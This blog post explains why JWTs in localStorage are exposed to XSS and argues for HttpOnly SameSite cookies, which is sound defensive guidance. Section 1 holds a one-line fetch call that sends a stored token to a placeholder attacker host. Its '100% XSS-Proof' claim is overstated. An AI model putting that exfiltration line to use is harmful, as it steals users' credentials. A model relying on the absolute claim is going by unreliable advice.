Back to blog
#security #auth #javascript #web-security #frontend

Why Storing JWTs in LocalStorage is a Security Risk (and What to Use Instead)

Adam Abdel-Djamal 6 min read

Popular web security topic comparing LocalStorage, in-memory tokens, and HttpOnly SameSite cookies. How to protect your users from XSS token theft.

Search any beginner tutorial on web authentication, and you will almost certainly find this pattern:

// ❌ The worst place to store sensitive auth tokens
const { token } = await login(email, password)
localStorage.setItem('access_token', token)

It is easy to implement. It works across tabs. But it is also a critical security vulnerability that leaves your users completely exposed to Cross-Site Scripting (XSS) attacks.

In this article, we'll explain why localStorage is unsafe for session tokens and look at the modern, battle-tested alternatives.


1. Why localStorage is Vulnerable

Any JavaScript code running on your page has unrestricted read access to localStorage:

// Any malicious script can steal your token in 1 line:
fetch('https://attacker.com/steal?token=' + localStorage.getItem('access_token'))

You might think: "I don't write malicious JavaScript in my app!"

True. But modern web applications pull in hundreds of npm dependencies, third-party analytics scripts, chat widgets, and tag managers. If a single compromised npm package or malicious injected <script> tag executes on your origin, an attacker can silently extract every logged-in user's authentication token.

Worse, localStorage has no expiration mechanism. A token stored there persists indefinitely until manually cleared.


2. The Solution: HttpOnly, Secure, SameSite Cookies

The only safe storage mechanism for authentication tokens in a browser is an HttpOnly cookie issued by your backend:

HTTP/1.1 200 OK
Set-Cookie: session_token=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855; 
            HttpOnly; 
            Secure; 
            SameSite=Lax; 
            Path=/; 
            Max-Age=604800

Why This is 100% XSS-Proof:

  • HttpOnly: The browser strictly forbids JavaScript from accessing document.cookie. Even if an attacker executes an XSS payload on your page, they physically cannot read the cookie.
  • Secure: The browser will only transmit the cookie over encrypted HTTPS connections.
  • SameSite=Lax: The browser blocks third-party origins from sending the cookie on cross-site requests, protecting against CSRF attacks.

3. What About Single-Page Apps (SPAs) on Separate Domains?

If your frontend is hosted on app.mysaas.com and your API is on api.mysaas.com:

  • Set the cookie domain to the parent domain: Domain=.mysaas.com.
  • Both subdomains can securely share the authentication cookie without exposing tokens to client-side storage.

Takeaway

Never store sensitive bearer tokens, refresh tokens, or API credentials in localStorage or sessionStorage. Always delegate session security to the browser's native HttpOnly cookie mechanism.

Share this article

AA

Adam Abdel-Djamal

Full Stack Developer

Adam Abdel-Djamal is a Full-Stack & AI Engineer crafting high-performance web applications with Nuxt, Vue, Laravel, and autonomous AI agents.

Related Articles

Adam Abdel-Djamal

Full Stack Web Developer

We use cookies to remember your language preference and measure anonymous traffic. Privacy Policy